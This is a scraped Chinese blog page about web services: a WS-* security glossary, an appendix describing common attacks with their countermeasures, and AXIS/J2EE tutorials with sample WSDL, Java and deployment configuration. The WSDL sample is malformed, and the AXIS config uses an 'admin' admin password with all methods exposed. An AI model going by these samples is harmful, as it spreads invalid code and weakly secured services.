<P>&nbsp;&nbsp;&nbsp; 身份验证（Authentication）——验证安全凭证的过程。</P>
<P>&nbsp;&nbsp;&nbsp; 授权（Authorization）——根据提供的安全凭证授权访问安全资源的过程。</P>
<P>&nbsp;&nbsp;&nbsp; 规范化（Canonicalization）——将XML文档转换成符合每一方要求的格式的过程。在签名文档和解译签名时使用。</P>
<P>&nbsp;&nbsp;&nbsp; 断言（Claim）——断言是对发送者、服务或其他资源（如名称、身份、密钥、组、特权、功能等）所作的陈述。</P>
<P>&nbsp;&nbsp;&nbsp; 协调上下文（Coordination Context）——一组协调服务要完成的一组工作的唯一标识符。</P>
<P>&nbsp;&nbsp;&nbsp; 反序列化（Deserialization）——从一个八位字节流构建XML Infoset的过程。它是用于从消息的有线格式创建消息的Infoset 表示形式的方法。</P>
<P>&nbsp;&nbsp;&nbsp; 摘要（Digest）——摘要是八位字节流的加密校验和。</P>
<P>&nbsp;&nbsp;&nbsp; 域（Domain）——安全域代表安全管理或信任的一个单元。</P>
<P>&nbsp;&nbsp;&nbsp; 持久的两阶段提交（Durable Two Phase Commit）——用于文件或数据库等持久资源事务的协议。</P>
<P>&nbsp;&nbsp;&nbsp; 有效策略（Effective Policy）——有效策略，针对某一给定的策略主题，是附加在包含该策略主题的策略范围上的策略组合。</P>
<P>&nbsp;&nbsp;&nbsp; 交换模式（Exchange Pattern）——用于服务之间消息交换的模式。</P>
<P>&nbsp;&nbsp;&nbsp; 工厂（Factory）——工厂是可以从XML表示形式创建资源的Web服务。</P>
<P>&nbsp;&nbsp;&nbsp; 联盟（Federation）——联盟是已经建立相互信任的信任域的集合。信任级别可能变化，但通常都包括身份验证，并可能包括授权。</P>
<P>&nbsp;&nbsp;&nbsp; 身份映射（Identity Mapping）——身份映射是创建身份属性之间关系的一种方法。某些身份提供程序可能会利用身份映射。</P>
<P>&nbsp;&nbsp;&nbsp; 身份提供程序（IP，Identity Provider）——身份提供程序是为最终请求者提供身份验证服务的实体。身份提供程序还为服务提供程序提供数据源验证服务（这通常是安全性令牌服务的一种扩展）。</P>
<P>&nbsp;&nbsp;&nbsp; 消息（Message）——消息是可由服务发送或接收的完整数据单元。它是信息交换的独立单元。无论何时消息都会包含SOAP信封，并有可能包含附加MTOM中指定的MIME部件、传输协议header。</P>
<P>&nbsp;&nbsp;&nbsp; 消息路径（Message Path）——遍布在初始源和最终接收者之间的SOAP节点集。</P>
<P>&nbsp;&nbsp;&nbsp; 被动请求者（Passive Requestor）——被动请求者是一个使用得到普遍支持的HTTP（如HTTP/1.1）的HTTP浏览器。</P>
<P>&nbsp;&nbsp;&nbsp; 策略（Policy）——策略就是策略选项集。</P>
<P>&nbsp;&nbsp;&nbsp; 策略选项（Policy Alternative）——策略选项就是策略断言集。</P>
<P>&nbsp;&nbsp;&nbsp; 策略断言（Policy Assertion）——策略断言表示特定于域的单个要求、功能、其他属性或行为。</P>
<P>&nbsp;&nbsp;&nbsp; 策略表达式（Policy Expression）——策略表达式是策略的XML Infoset表示形式，可以是正规形式，也可以是等同的压缩形式。</P>
<P>&nbsp;&nbsp;&nbsp; 主体（Principal）——可以被授予安全权限或可以给出安全性或身份断言的任何系统实体。</P>
<P>&nbsp;&nbsp;&nbsp; 协议组合（Protocol Composition）——协议组合是在保持技术连贯性的同时组合协议并避免任何非指定功能副作用的能力。</P>
<P>&nbsp;&nbsp;&nbsp; 资源（Resource）——资源是可由端点引用寻址的任何实体，在该端点引用中，该实体可以提供其自身的XML表示形式。</P>
<P>&nbsp;&nbsp;&nbsp; 安全上下文（Security Context）——安全上下文是一个抽象概念，指的是已建立的身份验证状态和可能具有与安全有关的附加属性的协商密钥。</P>
<P>&nbsp;&nbsp;&nbsp; 安全上下文令牌（Security Context Token）——安全上下文令牌（SCT）是安全上下文抽象概念的有线表示形式，它使上下文能够被URI命名并和一起使用。</P>
<P>&nbsp;&nbsp;&nbsp; 安全性令牌（Security Token）——安全性令牌用于表示一组断言的集合。</P>
<P>&nbsp;&nbsp;&nbsp; 安全性令牌服务（Security Token Service）——安全性令牌服务（STS）发行安全性令牌的Web服务。更确切地说，它根据它所信任的证据来作出断言，并发送给信任它的任何一方（或特定接收者）。为了表明信任，服务需要证据（如签名），以证实安全性令牌或安全性令牌集提供的信息。服务本身可以生成令牌，也可以通过它自己的信任陈述依靠某一独立的STS发行安全性令牌（注意，对于某些安全性令牌格式，这只能是重新发行或联合签名）。这构成了信任代理的基础。</P>
<P>&nbsp;&nbsp;&nbsp; 序列化（Serialization）——将XML Infoset表示为八位字节流的过程。它是用于创建消息的有线格式的方法。</P>
<P>&nbsp;&nbsp;&nbsp; 服务（Service）——通过消息来与其他实体进行交互的软件实体。注意，服务不需要连接到网络。</P>
<P>&nbsp;&nbsp;&nbsp; 签名（Signature）——签名是通过加密算法计算出来，并绑定到数据的一个值。而且经过绑定，数据的指定接收者可以使用该签名来验证数据没有改变并发自消息的签名者，从而提供了消息完整性和身份验证。签名的计算和验证可以通过对称或非对称密钥算法来进行。</P>
<P>&nbsp;&nbsp;&nbsp; 退出（Sign-Out）——退出是这样一个过程：某主体表明它们将不再使用其令牌且该域中的服务可能会破坏该主体令牌缓存。</P>
<P>&nbsp;&nbsp;&nbsp; 单点登录（SSO，Single Sign On）——单点登录是对身份验证序列的一种优化，旨在消除在请求者身上进行的反复操作负担。为了便于进行SSO，称为身份提供程序（Identity Provider）的元素能够以请求者的名义充当代理，将身份验证事件的证据提供给请求该请求者信息的第三方。这些身份提供程序（IP）是受信任的第三方，既需要得到请求者的信任（以维护请求者的身份信息，因为该信息的丢失可能会泄露请求者身份），又需要得到Web服务的信任，Web服务可能会根据该IP提供的身份信息的完整性提供对重要资源和信息的访问权。</P>
<P>&nbsp;&nbsp;&nbsp; SOAP中介（SOAP Intermediary）——SOAP中介是一个SOAP处理节点，它既不是原始消息发送者，也不是最终接收者。</P>
<P>&nbsp;&nbsp;&nbsp; 对称密钥算法（Symmetric Key Algorithm）——一种加密算法，其中的消息加密和解密都使用相同的密钥。</P>
<P>&nbsp;&nbsp;&nbsp; 系统（System）——实现某一特定功能的服务的集合。与分布式应用程序意思相同。</P>
<P>&nbsp;&nbsp;&nbsp; 信任（Trust）——信任表示一个实体愿意依靠另一个实体来执行一组操作，对一组主题、范围作出一组断言。</P>
<P>&nbsp;&nbsp;&nbsp; 信任域（Trust Domain）——信任域是一个得到有效管理的安全空间，在其中，请求的来源和目标可以确定来自某一来源的特定凭证集是否符合该目标的相关安全策略，并对此达成一致。目标可以将信任决定延期至第三方的加入（如果这已被确立为一致意见的一部分），从而将受信任的第三方包括在信任域中。</P>
<P>&nbsp;&nbsp;&nbsp; 易失的两阶段提交（Volatile Two Phase Commit）——用于缓存或窗口管理器等易失资源事务的协议。</P>
<P>&nbsp;&nbsp;&nbsp; Web服务（Web Service）——Web服务是一种可重复使用的软件组件，它依据XML、SOAP和其他业界公认的标准通过网络实现交互式的消息交换。</P>
<H1>附录B：XML Infoset信息项</H1>
<P>&nbsp;&nbsp;&nbsp; XML文档可以包含11类信息项。下面，我们列出并详细说明了SOAP所支持的信息项，并简要介绍了其他的信息项。SOAP支持6类信息项：</P>
<OL>
<LI>文档（Document）：每个信息集里都有一个文档信息项。它用于引用所有的其他信息项。 
<LI>元素（Element:）：文档中每个XML元素的信息集中都包含一个元素信息项。对所有元素的访问是通过对Child属性的递归跟踪提供的。 
<LI>属性(Attribute)：文档中每个属性的信息集中都包含一个属性信息项。附加属性信息项用于命名空间。 
<LI>命名空间(Namespace)：每个在其父元素范围内的名称空间信息集中都包含一个名称空间信息项。 
<LI>字符(Character)：文档中每个数据字符的信息集中都包含一个字符信息项。 
<LI>注释(Comment)：除了出现在DTD中的以外，文档中每个注释的信息集中都包含一个注释信息项。 </LI></OL>
<P>&nbsp;&nbsp;&nbsp; SOAP不支持但出现在XML Infoset初始定义中的5类信息项是：处理指令(Processing Instruction)、文档类型声明(Document Type Declaration)、未扩展的实体引用(Unexpanded Entity Reference)、未解析实体(Unparsed Entity)和表示法(Notation)。</P>
<H1>附录C：常见的安全攻击</H1>
<P>&nbsp;&nbsp;&nbsp; 对分布式系统的攻击可以分为若干个方面。它们可以指向系统中的一个或多个主机，或指向它们之间的通信网路。攻击的目的可能是中断操作、获得机密信息或在系统内部执行未授权的操作。它们可能会攻击系统中所使用的加密技术或以安全性为中心的其他技术，也可能企图通过攻击下面的系统和网络层或上面的应用层来旁路它们。以下是一个简短的不全面的安全性攻击类及针对每类攻击的标准对策的列表，它们是按上述的几个方面组织编排的：</P>
<H2>对主机的攻击</H2>
<UL>
<LI>拒绝服务（DoS，Denial-of-Service）攻击通过击垮主机的响应能力来中断其操作 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 当指向加密层时，DoS通常会尽力迫使主机反复执行特定身份验证或密钥交换协议所需的计算代价高昂的公钥操作。对抗这类攻击的典型防御措施是延迟公钥操作，直到对话者的合法性能够通过花费较少的方法（如对称加密或“谜语”）来验证时为止。DoS对底层网络层或顶层应用层的攻击很难预防，特别是在攻击者控制着大量资源且通信量处于正常通信量难以觉察的情况下。要实现网络基础架构的部署，通常必须通过漏斗方式将通信量降至一个可管理水平。</P>
<UL>
<LI>主机机密性或授权攻击企图泄露隐私或身份 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 这些攻击可能会利用主机软件中的薄弱点来获得对主机的控制。适当的安全性管理，如安装补丁、配置防火墙以及削减暴露应用程序的特权，是比较常用的对策。另一类攻击利用系统或应用程序中的弱点，如设置不正确的策略或应用程序逻辑错误，除了一般的主机泄密以外，它们还会考虑机密性或授权泄密。恰当的安全性策略管理和周密的应用程序设计是对付这类攻击的唯一防御措施。在“电子欺骗”攻击中，攻击者企图通过冒用某一经过授权的其他方的身份并做出相应的行为来获得对各种操作的授权。只要主机和经授权方切实保护好身份验证密码，并正确使用安全的身份验证协议，就可以预防电子欺骗。</P>
<H2>对通信网路的攻击</H2>
<UL>
<LI>DoS对网络的攻击试图中断与服务的通信 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 和对主机网络层的攻击一样，这些攻击确实也只能使用网络基础架构方法来应对。</P>
<UL>
<LI>对网络通信机密性的攻击企图在线泄露隐私 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 明文通信的直接监听可以通过加密来阻止。通过足够强大的加密算法和足够长的密钥，密码分析攻击也可以被扼制。</P>
<UL>
<LI>对网络通信授权的攻击企图泄露身份 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 攻击者企图将消息插入会话的“消息伪造攻击”和攻击者修改会话中发送的消息的消息，变更攻击都可以通过包含消息身份验证的消息安全性协议来阻止。攻击者将以前发送的（因而通过了正确的身份验证）消息插入会话的消息重放，攻击可以通过序号或时间戳和消息缓存的组合来检测和阻止。</P></DIV></SPAN></TD></TR>
<TR>
<TD align=right>[<A href="http://www.54bk.com/more.asp?name=yuexb&amp;id=8232">阅读全文(115)</A> | <A href="http://www.54bk.com/more.asp?name=yuexb&amp;id=8232#comment">回复(0)</A> | <A href="http://www.54bk.com/showtb.asp?id=8232" target=_blank>引用(0)</A>] </TD></TR>
<TR>
<TD>
<HR width="100%" color=#f0f0f0 size1>
</TD></TR></TBODY></TABLE>
<STYLE type=text/css>
.style1 {
 FONT-WEIGHT: bold; FONT-SIZE: 12px; COLOR: #ff6699
}
.yjx {
 BORDER-RIGHT: #f0f0f0 0px solid; BORDER-TOP: #f0f0f0 0px solid; BORDER-LEFT: #f0f0f0 0px solid; BORDER-BOTTOM: #f0f0f0 0px solid
}
</STYLE>

<TABLE style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" cellSpacing=0 cellPadding=0 width="99%" border=0>
<TBODY>
<TR>
<TD bgColor=#f0f0f0><FONT color=#ff6699>·</FONT><STRONG><IMG src="http://www.54bk.com/images/face/1.gif"><A href="http://www.54bk.com/blog.asp?name=yuexb&amp;subjectid=1715">[WebService]<A href="http://www.54bk.com/more.asp?name=yuexb&amp;id=7567">J2EE构造web service</A>&nbsp;&nbsp;&nbsp;&nbsp; -|</STRONG><SPAN class=oblog_text>民工 发表于 2005-6-1 21:06:03</SPAN> </TD></TR>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD>
<DIV align=right></DIV></TD></TR></TBODY></TABLE><SPAN class=oblog_text>
<DIV class=postTitle><A href="http://blog.csdn.net/yangfanyf/archive/2005/06/01/385740.aspx"><FONT color=#000000>J2EE构造web service</FONT></A> <FONT color=#000000>(载至</FONT><A class=headermaintitle id=Header1_HeaderTitle href="http://blog.csdn.net/yangfanyf/"><FONT color=#000000 size=2>yangfanyf的专栏</FONT></A><FONT color=#000000>)</FONT> </DIV>
<DIV class=postText>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;在这篇文章，我向java程序开发者介绍service-oriented architecture (SOA)，我将解释怎么使用J2EE 1.4去建立一个web 服务使其能操作和方便的通过J2EE1.4来适应应用服务（例如： Oracle Application Server）。</P>
<P><FONT size=4>&nbsp;Web Services Architecture<BR></FONT>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 让我们在学习web services部署J2EE platform之前，我们先了解web service 的主要结构。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 通过网络我们可以找到一些关于&nbsp;web services的定义、发布、和调用。一个web service，如图一</P>
<P><A href="http://www.onjava.com/onjava/2005/05/25/graphics/webservice.gif" target=_blank><IMG title="" alt="" src="http://www.onjava.com/onjava/2005/05/25/graphics/webservice.gif" onload="java_script_:if(this.width>500)this.width=500" align=middle border=0 pop="点击在新窗口查看原始图片"></A></P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 图一</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 现在有两种web services：“RPC style and document style”，RPC-style web services是在最初受欢迎的。但在近几年是document-style是首选的web services。<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RPC-style web services是远程程序调用，代表相互交互。RPC-style web services在交互信息中调用和返回必须先符合明确的签名，在应用中非常不方便。相反，document-style web services 通过用xml，来改变发送和接收应用。<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 许多的开发者觉得web services是一个有活力的技术，他继承SOA。因为它提供一个相互作用在不同的平台和轻便的技术。例如xml，soap，and http。<BR>&nbsp;&nbsp;<STRONG> What Are Web Services Made of?</STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在web service首先要先定义A Web Services Definition Language (WSDL; pronounced "wizdle") 文档。</P>
<P>这个WSDL提供一个完全的描述web service，包括端口、操作、信息类型等。</P>
<P>Here is a simple example of a WSDL document that describes a HelloWorld web service:</P>
<P><BR>&lt;definitions <BR>&nbsp;name="HelloService" <BR>&nbsp;targetNamespace="<A href="http://oracle.j2ee.ws/ejb/Hello">http://oracle.j2ee.ws/ejb/Hello</A>"<BR>&nbsp;xmlns="<A href="http://schemas.xmlsoap.org/wsdl/">http://schemas.xmlsoap.org/wsdl/</A>" <BR>&nbsp;xmlns:tns="<A href="http://oracle.j2ee.ws/ejb/Hello">http://oracle.j2ee.ws/ejb/Hello</A>" <BR>&nbsp;xmlns:mime="<A href="http://schemas.xmlsoap.org/wsdl/mime/">http://schemas.xmlsoap.org/wsdl/mime/</A>" <BR>&nbsp;xmlns:soap12="<A href="http://schemas.xmlsoap.org/wsdl/soap12/">http://schemas.xmlsoap.org/wsdl/soap12/</A>" <BR>&nbsp;xmlns:ns1="<A href="http://oracle.j2ee.ws/ejb/Hello/types">http://oracle.j2ee.ws/ejb/Hello/types</A>" <BR>&nbsp;xmlns:xsd="<A href="http://www.w3.org/2001/XMLSchema">http://www.w3.org/2001/XMLSchema</A>" <BR>&nbsp;xmlns:soap="<A href="http://schemas.xmlsoap.org/wsdl/soap/">http://schemas.xmlsoap.org/wsdl/soap/</A>"&gt; <BR>&nbsp;&lt;types&gt; <BR>&nbsp; &lt;schema elementFormDefault="qualified" <BR>&nbsp; targetNamespace="<A href="http://oracle.j2ee.ws/ejb/Hello/types">http://oracle.j2ee.ws/ejb/Hello/types</A>" <BR>&nbsp;&nbsp; xmlns="<A href="http://www.w3.org/2001/XMLSchema">http://www.w3.org/2001/XMLSchema</A>" <BR>&nbsp;&nbsp; xmlns:soap11-enc="<A href="http://schemas.xmlsoap.org/soap/encoding/">http://schemas.xmlsoap.org/soap/encoding/</A>"<BR>&nbsp;&nbsp; xmlns:tns="<A href="http://oracle.j2ee.ws/ejb/Hello/types">http://oracle.j2ee.ws/ejb/Hello/types</A>" <BR>&nbsp;&nbsp; xmlns:wsdl="<A href="http://schemas.xmlsoap.org/wsdl/">http://schemas.xmlsoap.org/wsdl/</A>" <BR>&nbsp;&nbsp; xmlns:xsi="<A href="http://www.w3.org/2001/XMLSchema-instance">http://www.w3.org/2001/XMLSchema-instance</A>"&gt; <BR>&nbsp; &lt;complexType name="sayHello"&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;message name="HelloServiceInf_sayHello"&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;part name="parameters"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; element="ns1:sayHelloElement"/&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;/message&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;message name="HelloServiceInf_sayHelloResponse"&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;part name="parameters" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; element="ns1:sayHelloResponseElement"/&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;/message&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;portType name="HelloServiceInf"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;operation name="sayHello"&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;input message="tns:HelloServiceInf_sayHello"/&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;output message="tns:HelloServiceInf_sayHelloResponse"/&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/operation&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;/portType&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;sequence&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;element name="String_1" nillable="true" type="string"/&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;/sequence&gt; <BR>&nbsp; &lt;/complexType&gt; <BR>&nbsp; &lt;complexType name="sayHelloResponse"&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;sequence&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;element name="result" nillable="true" type="string"/&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;/sequence&gt; <BR>&nbsp; &lt;/complexType&gt; <BR>&nbsp; &lt;element name="sayHelloElement" type="tns:sayHello"/&gt; <BR>&nbsp; &lt;element name="sayHelloResponseElement" <BR>&nbsp;&nbsp;&nbsp; type="tns:sayHelloResponse"/&gt; <BR>&nbsp; &lt;/schema&gt;<BR>&nbsp;&lt;/types&gt; <BR>&nbsp;&lt;binding name="HttpSoap11Binding" type="tns:HelloServiceInf"&gt; <BR>&nbsp;&lt;soap:binding style="document" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; transport="<A href='http://schemas.xmlsoap.org/soap/http"/'>http://schemas.xmlsoap.org/soap/http"/</A>&gt; <BR>&nbsp;&lt;operation name="sayHello"&gt;<BR>&nbsp;&nbsp; &lt;soap:operation <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; soapAction="<A href='http://oracle.j2ee.ws/ejb/Hello:sayHello"/'>http://oracle.j2ee.ws/ejb/Hello:sayHello"/</A>&gt; <BR>&nbsp;&nbsp; &lt;input&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;soap:body use="literal" parts="parameters"/&gt; <BR>&nbsp;&nbsp; &lt;/input&gt;<BR>&nbsp;&nbsp; &lt;output&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;soap:body use="literal" parts="parameters"/&gt; <BR>&nbsp;&nbsp; &lt;/output&gt; <BR>&nbsp;&lt;/operation&gt; <BR>&nbsp;&lt;/binding&gt; <BR>&nbsp;&lt;service name="HelloService"&gt; <BR>&nbsp;&nbsp; &lt;port name="HttpSoap11" binding="tns:HttpSoap11Binding"&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;soap:address location="REPLACE_WITH_ACTUAL_URL"/&gt; <BR>&nbsp;&nbsp; &lt;/port&gt;<BR>&lt;/service&gt;<BR>&lt;/definitions&gt; </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在这个WSDL，你需要注意HelloService ，包括他的包括端口、操作、信息类型等。这个WSDL 使web service 和客户端，能够自动的产生客户端代理。</P>
<P>在这个web services有两个主要的技术，一个是SOAP，它是调用web service，一个是UDDI它提供web service的本地注册。</P>
<P>未完待续</P></DIV></SPAN></TD></TR></TBODY></TABLE><img src ="http://www.blogjava.net/kapok/aggbug/10374.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-17 20:40 <a href="http://www.blogjava.net/kapok/archive/2005/08/17/10374.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> AXIS实现Web服务深入篇</title><link>http://www.blogjava.net/kapok/archive/2005/08/14/10064.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Sun, 14 Aug 2005 01:41:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/14/10064.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10064.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/14/10064.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10064.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10064.html</trackback:ping><description><![CDATA[<A href="http://www-128.ibm.com/developerworks/cn/webservices/.backup/ws-deepaxis/">http://www-128.ibm.com/developerworks/cn/webservices/.backup/ws-deepaxis/</A><BR><BR>一直使用J2EE从事移动业务方面的开发, <BR>2004 年 2 月 
<BLOCKQUOTE><ABSTRACT-EXTENDED>本文主要介绍使用service方式实现Web服务、复杂类型参数或者返回值以及面向消息/文档的服务类型，同时还会简单提及Web服务的会话管理以及安全问题等等。</ABSTRACT-EXTENDED></BLOCKQUOTE>
<P>前段时间我的一篇文章《应用AXIS开始Web服务之旅》介绍了如何通过AXIS这个项目来实现Web服务的功能。该文章主要介绍AXIS的结构、如何使用jws文件的方式开发一个简单的Web服务，并用了比较大的篇幅来介绍Web服务的客户端编程，应该说是使用AXIS开发Web服务的入门篇，本文假设你已经看过《应用AXIS开始Web服务之旅》并对AXIS有一定的基础，在这个基础上我们将要介绍的内容有几个方面包括使用service方式实现Web服务、复杂类型参数或者返回值以及面向消息/文档的服务类型，同时还会简单提及Web服务的会话管理以及安全问题等等。</P>
<P>在开始我们的文章之前，我们还需要搭建一个环境，我们需要一个支持Web服务的web应用程序并假设名字为axis，如何建立请参照《应用AXIS开始Web服务之旅》文章中的介绍。</P>
<P><A name=0><SPAN class=atitle2>使用定制发布编写Web服务</SPAN></A><BR></P>
<P>使用jws文件的方式编写Web服务具有方便、快捷的优点，它可以很快的将你已有的类发布成Web服务。但是更多的时候这并不是一个好的主意，因为这种做法引发的问题是我们必须要将已有类的源码发布出来，因为更多的时候我们并不想这样做；另外虽然你可以先用工具开发并调试完毕一个java文件后再改名为jws，但是这多少有些便扭，而且并不是类中的所有方法你都想发布成可通过Web服务来访问的，这时候你就必须将这些方法的修饰符改为不是public的，这就跟你原有的类不同步，以后的修改将会更加的麻烦。</P>
<P>在这里我把定制发布方式称为service方式，就好像JSP的出现不会使Servlet失宠的道理一样，有了jws，service方式还是有它的用武之地，而且是大放异彩。发布一个service方式的Web服务需要两部分内容：类文件以及Web服务发布描述文件。下面我们使用一个简单的例子来讲述这个过程。</P>
<P>首先我们需要一个service类，这个类跟普通的类没有任何区别，下面是我们实现一个城市便民服务的类，我们需要将CityService类的两个方法getZip和getTel发布成Web服务，编译该文件并把class文件拷贝到&lt;webapp&gt;/WEB-INF/classes对应目录下。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

Package lius.axis.demo;
/** 
  * 该类实现了城市服务，用于发布成Web服务 
  * @author Liudong 
  */
  
  public class CityService {
  /**     
    * 获取指定城市的邮编     
    * @param city     
    * @return     
    */
    public String getZip(String city) { 
 return "510630";
    }
    
    /**     
      * 获取指定城市的长途区号     
      * @param city     
      * @return     
      */ 
    
    public String getTel(String city) {
 return "020"; 
    }
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>程序已经完成，下面是发布这个Web服务。打开&lt;webapp&gt;/WEB-INF/server-config.wsdd如果这个文件不存在则创建一个新的文件，内容如下：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;deployment xmlns="http://xml.apache.org/axis/wsdd/" 
	xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"&gt; 
 &lt;globalConfiguration&gt;  
  &lt;parameter name="adminPassword" value="admin"/&gt;  
  &lt;parameter name="attachments.implementation" 
  	value="org.apache.axis.attachments.AttachmentsImpl"/&gt;  
  &lt;parameter name="sendXsiTypes" value="true"/&gt;  
  &lt;parameter name="sendMultiRefs" value="true"/&gt;  
  &lt;parameter name="sendXMLDeclaration" value="true"/&gt;  
  &lt;parameter name="axis.sendMinimizedElements" value="true"/&gt;  
  &lt;requestFlow&gt;   
   &lt;handler type="java:org.apache.axis.handlers.JWSHandler"&gt;    
    &lt;parameter name="scope" value="session"/&gt;   
   &lt;/handler&gt;   
   &lt;handler type="java:org.apache.axis.handlers.JWSHandler"&gt;    
    &lt;parameter name="scope" value="request"/&gt;    
    &lt;parameter name="extension" value=".jwr"/&gt;   
   &lt;/handler&gt;  
  &lt;/requestFlow&gt; 
 &lt;/globalConfiguration&gt; 
 &lt;handler name="LocalResponder" type="java:org.apache.axis.transport.local.LocalResponder"/&gt; 
 &lt;handler name="URLMapper" type="java:org.apache.axis.handlers.http.URLMapper"/&gt; 
 &lt;handler name="Authenticate" type="java:org.apache.axis.handlers.SimpleAuthenticationHandler"/&gt;   

 &lt;service name="city" provider="java:RPC"&gt;  
  &lt;!-- 服务类名 --&gt;   
  &lt;parameter name="className" value="lius.axis.demo.CityService"/&gt;  
  &lt;!-- 允许访问所有方法 --&gt;  
  &lt;parameter name="allowedMethods" value="*"/&gt; 
 &lt;/service&gt;  
 &lt;transport name="http"&gt;  
  &lt;requestFlow&gt;   
   &lt;handler type="URLMapper"/&gt;   
   &lt;handler type="java:org.apache.axis.handlers.http.HTTPAuthHandler"/&gt;  
  &lt;/requestFlow&gt; 
 &lt;/transport&gt; 
 &lt;transport name="local"&gt;  
  &lt;responseFlow&gt;   
   &lt;handler type="LocalResponder"/&gt;  
  &lt;/responseFlow&gt; 
 &lt;/transport&gt;
&lt;/deployment&gt;
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>其中粗斜体的部分是我们服务的配置信息，启动Tomcat并打开浏览求访问地址： http://localhost:8080/axis/services/city?wsdl ，下面是浏览器显示我们Web服务的WDSL数据。</P>
<P><A name=N1006F><B></B></A><BR><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/webservices/.backup/ws-deepaxis/image001.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/"> </P>
<P>当然了，这个过程比起jws方式来说是稍微麻烦一点，你可以把它想象成你发布一个servlet一样，创建servlet类然后在web.xml中加入配置信息。</P>
<P><A name=1><SPAN class=atitle2>处理复杂类型参数和返回值</SPAN></A><BR></P>
